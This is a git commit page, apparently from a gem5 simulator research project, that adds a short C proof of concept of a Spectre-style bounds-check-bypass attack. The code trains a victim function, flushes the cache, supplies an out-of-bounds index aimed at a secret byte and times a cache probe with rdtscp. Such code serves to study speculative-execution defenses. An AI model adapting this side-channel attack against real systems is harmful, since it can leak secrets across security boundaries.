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author | Iru Cai <mytbk920423@gmail.com> | 2019-04-10 16:00:23 +0800 |
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committer | Iru Cai <mytbk920423@gmail.com> | 2019-05-31 16:03:18 +0800 |
commit | cd184d861f5702e0ec5855e7247584c799bd24a2 (patch) | |
tree | fa4dea6b6adf438dca6b023cd7b0cda14807fc0e /attack_code/victim_v10/attack_v10.c | |
parent | 3fe13600a91d1eb8a353f1ac7455d9a1d977027a (diff) | |
download | gem5-cd184d861f5702e0ec5855e7247584c799bd24a2.tar.xz |
add attack code and attack test script
Diffstat (limited to 'attack_code/victim_v10/attack_v10.c')
-rw-r--r-- | attack_code/victim_v10/attack_v10.c | 41 |
1 files changed, 41 insertions, 0 deletions
diff --git a/attack_code/victim_v10/attack_v10.c b/attack_code/victim_v10/attack_v10.c new file mode 100644 index 000000000..1c1eecd45 --- /dev/null +++ b/attack_code/victim_v10/attack_v10.c @@ -0,0 +1,41 @@ +#include <stdio.h> +#include <stdint.h> +#include <string.h> +#include <x86intrin.h> + +/* default: 64B line size, L1-D 64KB assoc 2, L1-I 32KB assoc 2, L2 2MB assoc 8 */ +#define LLC_SIZE (2 << 20) + +uint8_t dummy[LLC_SIZE]; +size_t array_size = 4; +uint8_t array1[200] = {1, 2, 3, 4}; +uint8_t array2[256 * 64 * 2]; +uint8_t X; +uint8_t temp = 1; + +void victim_function_v10(size_t x, uint8_t k); + +int main() +{ + victim_function_v10(0, 0); + victim_function_v10(0, 0); + victim_function_v10(0, 0); + victim_function_v10(0, 0); + victim_function_v10(0, 0); + + memset(dummy, 1, sizeof(dummy)); // flush L2 + X = 123; // set the secret value, and also bring it to cache + + _mm_mfence(); + + size_t attack_idx = &X - array1; + victim_function_v10(attack_idx, 123); + + unsigned int junk; + volatile uint8_t x; + unsigned long time1 = __rdtscp(&junk); + x ^= array2[0]; + unsigned long time2 = __rdtscp(&junk); + + printf("%d\n", time2 - time1); +} |